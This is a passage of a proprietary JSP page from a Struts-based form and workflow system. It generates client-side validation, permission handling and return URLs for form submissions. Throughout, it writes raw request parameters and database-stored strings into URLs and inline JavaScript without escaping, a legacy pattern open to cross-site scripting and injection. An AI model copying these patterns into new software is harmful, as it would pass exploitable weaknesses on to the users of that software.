<%
/*
 * @(#)EditFormPageSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormPageSubmission.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    05/01/2004
    @version          $Revision: 1.257.2.20 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<!-- Framework Javascript End -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormAttachment.jsp" charset="UTF-8" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/FormAjaxProcessor.js'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script src='<%= request.getContextPath() %>/dwr/util.js'></script>
<%
try{
  String LIST_NAME = "formPageList";
 // String listName =request.getAttribute("listName");

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  if (!Utility.isEmpty(request.getParameter("formRecordID")) && !"null".equals(request.getParameter("formRecordID"))){
    maintFormSubmissionForm.setFormRecordID(request.getParameter("formRecordID"));
  }
  Integer submissionID = null;
  String formSubmissionID = (!Utility.isEmpty(request.getParameter("formSubmissionID")) && !"null".equals(request.getParameter("formSubmissionID"))) ? request.getParameter("formSubmissionID") : maintFormSubmissionForm.getID();
  //copy formSubmission,then id is attributed for display.
  formSubmissionID = (!Utility.isEmpty(request.getAttribute("formSubmissionID")) && !"null".equals(request.getAttribute("formSubmissionID").toString())) ? request.getAttribute("formSubmissionID").toString() : formSubmissionID ;
  if ("null".equals(formSubmissionID)) {
    formSubmissionID = "";
  }

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");

  //Routing rule
  FormRoutingRuleDAObject formRoutingRuleDAO = new FormRoutingRuleDAObject(sessionContainer,conn);
  FormElementDAObject formElementDAO = new FormElementDAObject(sessionContainer,conn);
  List routingRuleList = formRoutingRuleDAO.getListByFormRecordID(request.getParameter("formRecordID"));
  String onchangeElementIDStr = "";
  //check label permission.
  FormSubmissionManager formSubmissionManager =  new FormSubmissionManager(sessionContainer,conn);

%>

<html:form action="form/MaintFormSubmission" styleClass="form-style-2">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String PRE_PAGE_HEAD_DIV = "PAGE_HEAD_DIV_";
   String PRE_PAGE_CONTENT_DIV = "PAGE_CONTENT_DIV_";
   String PRE_ADD_PAGE_CONTENT = "ADD_PAGE_CONTENT_";

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String sPreviewValue = (String)request.getAttribute("preview");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;
   if("FORMSETUP".equals(request.getParameter("function")) || "SECTIONEDIT".equals(request.getParameter("function")) || "FORMEDIT".equals(request.getParameter("function")) || "FORMCOPY".equals(request.getParameter("function")) ){
     sCurFunctionCode = SystemFunctionConstant.FORM_SETUP;
   }else if("FORMTRACKING".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_TRACK;
   }else if("FORMMONITOR".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
   }else if("WORKFLOW".equals(request.getParameter("function"))){
     sCurFunctionCode = SystemFunctionConstant.WORKFLOW_SUBMISSION;  // WF submit form (first step submit pending submission).
   }//else if("WORKFLOW".equals(request.getParameter("submitFunction"))){
    // sCurFunctionCode = SystemFunctionConstant.WORKFLOW_SUBMISSION;  // WF submit form (start).
   //}

   String functionType = "";

   String isViewTask = "N";

   if(!Utility.isEmpty(request.getParameter("isViewTask")))
   isViewTask = request.getParameter("isViewTask");

   if(sPreviewValue != null){
     functionType="common.label.form_action_preview";
   }else if(GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )){
     functionType="common.label.form_action_view";
   }else if(GlobalConstant.NAV_MODE_NEW.equals(maintFormSubmissionForm.getNavMode() )){
     functionType="common.label.form_action_new";
   }else if(GlobalConstant.NAV_MODE_CHANGE.equals(maintFormSubmissionForm.getNavMode() )){
     functionType="common.label.form_action_copy";
   }else{
     functionType="common.label.form_action_edit";
   }
   SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);

   boolean haveWorkflow = false;
   boolean isWorkflowProcess = false;
   if (!Utility.isEmpty(request.getParameter("workflowStepID")) && !"null".equals(request.getParameter("workflowStepID"))){
     isWorkflowProcess = true;
   }
   Integer sectionID = new Integer(1);
   java.text.SimpleDateFormat format = new java.text.SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
   String submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_COMPLETED;
   // Variables to record current form submission status for further page display process.
   String currentFormSubmissionStatus = maintFormSubmissionForm.getStatus();
   int formPageNo = 0;
   Integer pageID = new Integer(1);
   String allPageIDStr = "";
   String allSectionIDStr = "";
   boolean hasCheckPermission = true;
   boolean isStepElementChange = false;
   boolean isStepElementRead = false;
   boolean isStepElementDisabled = true;
   String formRecordPermission = "";
   String pagePermission = "";
   String sectionPermission = "";
   String elementPermission = "";
   boolean isShowWholeForm = "true".equals(request.getParameter("isShowWholeForm")) ? true : false;

   String isSubmission = request.getParameter("isSubmission");

   if (!Utility.isEmpty(maintFormSubmissionForm.getWorkflowRecordID()) && !"null".equals(maintFormSubmissionForm.getWorkflowRecordID())){
     haveWorkflow = true;
     if (isShowWholeForm && "FORMMONITOR".equals(request.getParameter("function"))){
       hasCheckPermission = false; // FORM MONITOR VIEW ALL CONTENT.
     }
   }else{
     if ("FORMSUBMISSION".equals(request.getParameter("function")) ){
       isSubmission = "true";
     } else if ("WORKFLOW".equals(request.getParameter("function")) ){
       isSubmission = "false";
     } else if ("FORMMONITOR".equals(request.getParameter("function")) || "FORMTRACKING".equals(request.getParameter("function"))){
       hasCheckPermission = false; // FORM MONITOR VIEW ALL CONTENT.
     }
   }

   if ("true".equals(isSubmission)){
     hasCheckPermission = false;
   }

   String workflowRecordID = (!Utility.isEmpty(request.getParameter("workflowRecordID")) && !"null".equals(request.getParameter("workflowRecordID"))) ? request.getParameter("workflowRecordID") : "";
   Integer workflowStepID = (!Utility.isEmpty(request.getParameter("workflowStepID")) && !"null".equals(request.getParameter("workflowStepID"))) ? new Integer(request.getParameter("workflowStepID")) : new Integer(0);
   if (workflowStepID.intValue()==0 && !Utility.isEmpty(request.getAttribute("workflowStepID")) && !"null".equals(request.getAttribute("workflowStepID").toString())){
     workflowStepID = new Integer(request.getAttribute("workflowStepID").toString());
   }
   if (workflowStepID.intValue()==0 && !Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq")) ){
     //FORM MONITOR VIEW ALL CONTENT.
     hasCheckPermission = false;
   }

   boolean isViewUserStep = false;
   boolean isShowLastRecord = false; // form monitoring edit and view step.
   // if view step, then display edited elements and view user record.
   if (!Utility.isEmpty(request.getParameter("isViewUserStep")) && "true".equals(request.getParameter("isViewUserStep"))){
     isViewUserStep = true;
   }
   if (!Utility.isEmpty(request.getParameter("isShowLastRecord")) && "true".equals(request.getParameter("isShowLastRecord"))){
     isShowLastRecord = true;
   }

    //get the returnURL
  String returnURL = "";

  if (GlobalConstant.NAV_MODE_NEW.equals(maintFormSubmissionForm.getNavMode() ) || GlobalConstant.NAV_MODE_EDIT.equals(maintFormSubmissionForm.getNavMode() ) || GlobalConstant.NAV_MODE_CHANGE.equals(maintFormSubmissionForm.getNavMode() )) {
      if ("WORKFLOW".equals(request.getParameter("submitFunction"))){

        returnURL=request.getContextPath()+"/workflow/ListWorkflowSubmission.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("listFormSubmissionDetail".equals(request.getParameter("functionFrom")) ) {
         returnURL=request.getContextPath()+"/form/ListFormSubmissionDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function=ListFormSubmission&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("ListFormMonitoringHistory".equals(request.getParameter("functionFrom")) ) {
         returnURL=request.getContextPath()+"/form/ListFormMonitoringHistory.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("FORMMONITOR".equals(request.getParameter("function")) ) {
         returnURL=request.getContextPath()+"/form/ListFormMonitoringDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else{
         returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }
    }else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {
      if ("FORMTRACKING".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormTrackingDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("SearchSubmission".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/SearchSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function="+request.getParameter("function")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("ListFormMonitoringHistory".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/ListFormMonitoringHistory.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&searchFormDisplayType=1&submissionID="+formSubmissionID;
      }else if ("ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
        returnURL=request.getContextPath()+"/form/ListFormAuditTrail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMMONITOR".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormMonitoringDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMSUBMISSION".equals(request.getParameter("function")) && "null".equals(request.getParameter("functionFrom")) && !"WORKFLOW".equals(request.getParameter("submitFunction"))) {
        returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }else if ("listFormSubmissionDetail".equals(request.getParameter("functionFrom")) ) {
        returnURL=request.getContextPath()+"/form/ListFormSubmissionDetail.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&navMode=V&function=ListFormSubmission&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("FORMSETUP".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/ListFormRecord.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else if ("WORKFLOW".equals(request.getParameter("submitFunction"))) {
    	returnURL=request.getContextPath()+"/workflow/ListWorkflowSubmission.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      } else {
        returnURL=request.getContextPath()+"/form/ListFormSubmission.do?formRecordID="+request.getParameter("formRecordID")+"&workflowRecordID="+workflowRecordID+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
      }
    }else if ("FORMCOPY".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormRecord.do?navMode=C&ID="+request.getParameter("formRecordID");
    }else if ("FORMEDIT".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormRecord.do?navMode=E&ID="+request.getParameter("formRecordID");
    }else if ("SECTIONEDIT".equals(request.getParameter("function")) ) {
        returnURL=request.getContextPath()+"/form/MaintFormSectionFormElement.do?navMode=E&formPageID="+request.getParameter("formPageID")+"&formRecordID="+request.getParameter("formRecordID");
    }else {
        returnURL=request.getContextPath()+"/form/ListFormRecord.do?formGroupID="+session.getAttribute("formGroupID")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
    }
  //get returnURL end

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>


<script language="Javascript">
<!--
var frm = document.maintFormSubmissionForm;

function getSQLvalues(id,fieldName){
//  alert("id="+id + "  fieldName="+fieldName);
  fieldValue = $(fieldName).value;
//  alert("fieldValue="+fieldValue);
  FormAjaxProcessor.dynamicValueProcess(id,fieldValue,setSQLResult);
  return false;
}
function setSQLResult(str){
//  alert(str);
  id="";
  value="";
  if(str==null||str.length<1){
  //  alert("<bean:message key='form.lable.sql_error'/>");
  }else{
    for(i=0; i<str.length;i++){
      if(i%2==0){
        id = str[i];
      }if(i%2==1){
        value = str[i];
        //alert("id="+id+" value="+value);
        if(value=="" || value==null)
        continue;
        var  element = $(id);
        if(element!=null){
         // alert("element.type="+element.type);
          if(element.type=="radio"){
            var  elements= document.getElementsByName(id);
           // alert("elements.length  = "+elements.length);
            for (j=0;j<elements.length;j++){
              if (elements[j].value != value){
                elements[j].checked=false;
              }else{
                elements[j].checked=true;
                break;
              }
            }
          }else{
            DWRUtil.setValue(id,value);
          }
        }
      }
    }
  }
}

function OpCustSave(haveWorkflow,navMode) {
  //hideBlock();
  document.maintFormSubmissionForm.status.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_DRAFT%>";
  if (navMode=="<%=GlobalConstant.NAV_MODE_CHANGE%>"){
    document.maintFormSubmissionForm.ID.value = "";
  }
  return check('false');

}

function OpStepSave(isCheckRequired) {
  //hideBlock();
  document.maintFormSubmissionForm.status.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  if ("true"!=isCheckRequired){
    document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_DRAFT%>";
  }else{
    document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  }

  if(parent.document&&arguments[1]!=null){
    document.maintFormSubmissionForm.isStartSubmit.value=arguments[1];
  }     // falcon_add
  return check(isCheckRequired);

}

function OpCustSubmit(submissionStatus,navMode) {
  if (!confirm("<bean:message key='form.message.confirm_submit_form'/>")) {
    return(false);
  }
  if (navMode=="<%=GlobalConstant.NAV_MODE_CHANGE%>"){
    document.maintFormSubmissionForm.ID.value = "";
  }
  document.maintFormSubmissionForm.status.value = submissionStatus;
  document.maintFormSubmissionForm.submitFlag.value = "<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>";
  document.maintFormSubmissionForm.isStartSubmit.value = "<%=WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT%>";
  return check('true');

}

function getOntimechange(sfieldID){
  var sHour = document.maintFormSubmissionForm.elements['TIME_HOUR_'+sfieldID].value;
  var sMin = document.maintFormSubmissionForm.elements['TIME_MIN_'+sfieldID].value;
  document.maintFormSubmissionForm.elements['FB_FIELD_'+sfieldID].value = sHour + ":" + sMin;
}

//add by gaby for delete the blank.
String.prototype.Trim = function(){return this.replace(/^\s+|\s+$/g,"");}

//add Trim(). add by gaby
function checkAgainstRegux(which,regx,errorMsg,elementName){
  if (regx.test(which.value.Trim())){
    return true;
  }else{
    alert (elementName+" "+errorMsg);
    var pageID = which.name.substring(9,which.name.indexOf("_",9));
    showTab(pageID);
    which.focus();
    return false;
  }
}

function check(isCheckRequired) {
<%

 for (int pp=0; pp<formPageList.size(); pp++){
   FormPage tmpFormPage = (FormPage)formPageList.get(pp);
   pageID = tmpFormPage.getID();
   formRecordPermission = tmpFormPage.getFormRecordPermission();
   if (!"T".equals(request.getParameter("preview"))){
      formRecordPermission = tmpFormPage.getFormRecordPermission();
   }

   if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(formRecordPermission)){
      formRecordPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
   }
   if (WorkflowStep.FORM_PROCESS_PERMISSION_SUBMIT.equals(formRecordPermission)){
       hasCheckPermission = false;
   }

   if (hasCheckPermission){
     if (!Utility.isEmpty(tmpFormPage.getPermission())){
        pagePermission = tmpFormPage.getPermission();
       if("I".equals(tmpFormPage.getPermission())){
          pagePermission = formRecordPermission;
        }
      }
       if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pagePermission)){
        pagePermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
      }
      if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(pagePermission)){
      continue;
    }
   }

   List formSectionList_Validate = tmpFormPage.getFormSectionList();
   for (int i=0; i<formSectionList_Validate.size(); i++) {

     FormSection tmpFormSection = (FormSection) formSectionList_Validate.get(i);
     sectionID = tmpFormSection.getID();
     if (hasCheckPermission){

       if (!Utility.isEmpty(tmpFormSection.getPermission())){
         sectionPermission = tmpFormSection.getPermission();
          if("I".equals(tmpFormSection.getPermission())){
            sectionPermission = pagePermission;
          }
       }
        if (WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(sectionPermission)){
         sectionPermission = WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE;
       }

     if(WorkflowStep.FORM_PROCESS_PERMISSION_HIDE.equals(sectionPermission)){
      continue;
    }
     }

    //Integer workflowStepID = new Integer(0);

    // Begin Validate
     FormSection tmpFormSection_Validate = (FormSection) formSectionList_Validate.get(i);
     List formElementList_Validate = tmpFormSection_Validate.getFormElementList();

     for (int j=0; j<formElementList_Validate.size(); j++) {
       isStepElementChange = false;
       isStepElementRead = false;
       isStepElementDisabled = true;
       FormElement tmpFormElement_Validate = (FormElement) formElementList_Validate.get(j);
       if (hasCheckPermission){

         if (!Utility.isEmpty(tmpFormElement_Validate.getPermission())){
           elementPermission = tmpFormElement_Validate.getPermission();
            if("I".equals(tmpFormElement_Validate.getPermission())){
               elementPermission = sectionPermission;
              }
         }
          if (WorkflowStep.FORM_PROCESS_PERMISSION_READ.equals(elementPermission)){
           isStepElementChange = false;
           isStepElementRead = true;
           isStepElementDisabled = false;
         } else if (WorkflowStep.FORM_PROCESS_PERMISSION_CHANGE.equals(elementPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elementPermission)){
           isStepElementChange = true;
           isStepElementRead = false;
           isStepElementDisabled = false;
         } else {
           isStepElementDisabled = true;
         }
       }else{
         isStepElementDisabled = false;
         isStepElementChange = true;
         isStepElementRead = false;
       }
       if (isViewTask.equals("Y") || !Utility.isEmpty(maintFormSubmissionForm.getOpMode()) || "T".equals(request.getParameter("preview"))){  //view
         if (isStepElementChange){
            isStepElementChange = false;
         }
       }
       if (isStepElementDisabled){
          continue;
       }
         %>
          var objectElement = document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=tmpFormSection_Validate.getID()%>_<%=tmpFormElement_Validate.getID()%>;
          var dummyObjectElement = document.maintFormSubmissionForm.dummy_<%=FIELD_HEADER%><%=pageID%>_<%=tmpFormSection_Validate.getID()%>_<%=tmpFormElement_Validate.getID()%>;
        <%if (FormElementType.ELEMENT_FILE.equals(tmpFormElement_Validate.getElementType())){%>
            objectElement = document.maintFormSubmissionForm.FB_FILES_<%=pageID%>_<%=tmpFormSection_Validate.getID()%>_<%=tmpFormElement_Validate.getID()%>;
        <%}%>
          // Begin check that the field is Required.
          if (isCheckRequired=='true'){
          <%
           // falcon_add_start
           MtmWfStepFormRecordDAObject  wfStepFormRecordDAO=new MtmWfStepFormRecordDAObject(sessionContainer,conn);
           Integer elementID =null;
            if(!Utility.isEmpty(tmpFormElement_Validate.getID())) {
                 elementID=tmpFormElement_Validate.getID();
                }

           String formPermission = wfStepFormRecordDAO.getFormRecordPermissionByWorkflowStepIDFormRecordID(workflowStepID, new Integer(request.getParameter("formRecordID")));
           String pgPermission = wfStepFormRecordDAO.getFormPagePermissionByWorkflowStepIDFormRecordIDFormPageID(workflowStepID, new Integer(request.getParameter("formRecordID")), pageID);
           String secPermission = wfStepFormRecordDAO.getFormSectionPermissionByWorkflowStepIDFormRecordIDFormPageIDFormSectionID(workflowStepID, new Integer(request.getParameter("formRecordID")), pageID, sectionID);
           String elePermission=wfStepFormRecordDAO.getFormElementPermissionByWorkflowStepIDFormRecordIDFormPageIDFormSectionIDFormElementID(workflowStepID, new Integer(request.getParameter("formRecordID")), pageID, sectionID,elementID);
           // falcon_add_end
           boolean isRequired = false;
           if(Utility.isEmpty(maintFormSubmissionForm.getWorkflowRecordID())){
          	 if ("Y".equals(tmpFormElement_Validate.getRequiredFlag()) && isStepElementChange){
          	   isRequired =true;
          	 }
           }else{
             if(WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(elePermission)|| ((WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(formPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(pgPermission) || WorkflowStep.FORM_PROCESS_PERMISSION_MANDATORY.equals(secPermission))&& WorkflowStep.FORM_PROCESS_PERMISSION_INHERIT.equals(elePermission))){
            	 isRequired =true;
             }
           }
           if(isRequired){
             if(!FormElementType.isSelection(tmpFormElement_Validate.getElementType())){ // Selection Type
               if (!FormElementType.ELEMENT_CURRENT_DATE.equals(tmpFormElement_Validate.getElementType())&& !FormElementType.ELEMENT_CURRENT_LOGIN.equals(tmpFormElement_Validate.getElementType())){
%>
                if (objectElement && (trim(objectElement.value) == "" || trim(objectElement.value) == 'null') ) {
                  showTab("<%=pageID%>");
                  alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
<%                if(FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement_Validate.getElementType())){ %>
                    dummyObjectElement.focus(); //DATEPICKER
<%                } else if (!FormElementType.ELEMENT_TIME_PICKER.equals(tmpFormElement_Validate.getElementType()) && !FormElementType.ELEMENT_FILE.equals(tmpFormElement_Validate.getElementType()) && !FormElementType.ELEMENT_USER_PICKER.equals(tmpFormElement_Validate.getElementType())) { %>
                   objectElement.focus();
<%                }        %>
                  return (true);
                }

<%        }
        }
        if(FormElementType.isSelection(tmpFormElement_Validate.getElementType())){
          FormSelectionField tmpformSelectionField = tmpFormElement_Validate.getFormSelectionField();
          List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();

        %>
        var checkedFlag;
        var radioFlag;
        checkedFlag = false;
        radioFlag = false;
        <%
            for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
                 FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
          %>
          <%
          if (FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement_Validate.getElementType())){ %>
          if (objectElement.value=="") {
              showTab("<%=pageID%>");
              alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
          return (true);
          }
          <%}
          if (FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement_Validate.getElementType())){ %>

          if (document.maintFormSubmissionForm.<%=FIELD_HEADER%><%=pageID%>_<%=tmpFormSection_Validate.getID()%>_<%=tmpFormElement_Validate.getID()%>_<%=tmpFormSelectionFieldOption.getID()%>.checked ) {
              checkedFlag = true;
              }

          <%}
          if (FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement_Validate.getElementType())){
                  %>
            if(objectElement[<%=k%>].checked == true){
              radioFlag = true;
            }

          <%
          }
        }
        if (FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement_Validate.getElementType())){
        %>
          if(!checkedFlag){
            showTab("<%=pageID%>");
            alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
           return (true);
          }
        <%}
        if (FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement_Validate.getElementType())){
        %>
          if(!radioFlag ){
              showTab("<%=pageID%>");
              alert("<%=tmpFormElement_Validate.getFieldName()%> <bean:message key='form.message.is_required'/>");
          return (true);
          }
        <%
        }
       }
      }
     %>
     }// end check that the field is Required.
     // begin check validation rule.
     <%
   FormValidationRule formValidationRule = null;
      if (!Utility.isEmpty(tmpFormElement_Validate.getValidationRule())){
        FormValidationRuleDAObject formValidationRuleDAO = new FormValidationRuleDAObject(sessionContainer,conn);
        formValidationRule = (FormValidationRule)formValidationRuleDAO.getObjectByID(new Integer(tmpFormElement_Validate.getValidationRule()));
      }
      if (formValidationRule != null ){%>

         if (objectElement && objectElement.value !='null' && objectElement.value!=""){
           if (!checkAgainstRegux(objectElement,<%=formValidationRule.getRegularExpr()%>,'<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),formValidationRule.getErrorMsgKey())%>','<%=tmpFormElement_Validate.getFieldName()%>')){return false;}
         }
     <%}%>
     // end check validation rule.
     <%
     }
   }
 }
%>
  if (isCheckRequired=='true'){
    if (!ruleCheck()){return false;}
  }
  // Brook.huang edit start.
  // this section of iterated opertation isn't effective.
/*
 *  for (var ii = 0; ii < document.maintFormSubmissionForm.elements.length; ii++) {
 *     if (document.maintFormSubmissionForm.elements[ii].name != "" && document.maintFormSubmissionForm.elements[ii].name.substring(0,9) == "FB_FIELD_"){
 *        document.maintFormSubmissionForm.elements[ii].disabled = false;
 *     }
 *  }
 */
  // Brook.huang edit end.

  //if (isCheckRequired=='true'){
   // if (!confirm("<bean:message key='form.message.confirm_submit_form'/>")) {
    //   return(false);
    // }
  // }     // falcon_add
  OpSave();
  return (false);
}

function hideBlock() {
    //workflowInformation.style.display = "none";
}

function showBlock() {
    //workflowInformation.style.display = "block";
    alert("<bean:message key='form.message.please_be_aware_for_workflow_information'/>");
}
function opAddFieldsMid(fieldName){
    document.all(fieldName).value=parseInt(document.all(fieldName).value)+1;
    //document.maintFormSubmissionForm.action="MaintFormPage.do?navMode=V&preview=T";
    //document.maintFormSubmissionForm.navMode.value = "R";
    document.maintFormSubmissionForm.submit();
    return false;
}
function opAddSection(fieldName){
    document.all(fieldName).value=parseInt(document.all(fieldName).value)+1;
    //document.maintFormSubmissionForm.action="MaintFormPage.do?navMode=V&preview=T";
    //document.maintFormSubmissionForm.navMode.value = "R";
    document.maintFormSubmissionForm.submit();
    return false;
}
function opMinusSection(fieldName, delSectionName){
    document.all(fieldName).value=parseInt(document.all(fieldName).value)-1;
    document.all(delSectionName).value="Y";
    //document.maintFormSubmissionForm.action="MaintFormPage.do?navMode=V&preview=T";
    //document.maintFormSubmissionForm.navMode.value = "R";
    document.maintFormSubmissionForm.submit();
    return false;
}

function ruleCheck(){
//Begin check Routing Rule,the rule type is verify.
 <%
 for (int nn=0; nn<routingRuleList.size(); nn++){
   FormRoutingRule formRoutingRule = (FormRoutingRule)routingRuleList.get(nn);
   %>
   var tmpexpression ="";
   var bExpress=false;
   var sCompare="";
   var operand1="";
   var operand2="";
   var isCheck=false;

   <%
    if (FormRoutingRule.ROUTING_TYPE_VERIFY.equals(formRoutingRule.getRuleType())){
      String[] targetElementStr = new String[1];
      String targetElementID = "";
      if (!Utility.isEmpty(formRoutingRule.getTargetElementID()) && !"null".equals(formRoutingRule.getTargetElementID())){
        targetElementStr = TextUtility.splitString(formRoutingRule.getTargetElementID(),"_");
        targetElementID = targetElementStr[4];
      }
      String opterationType = formRoutingRule.getOperationType();
      String mandatory = formRoutingRule.getCheckRule();
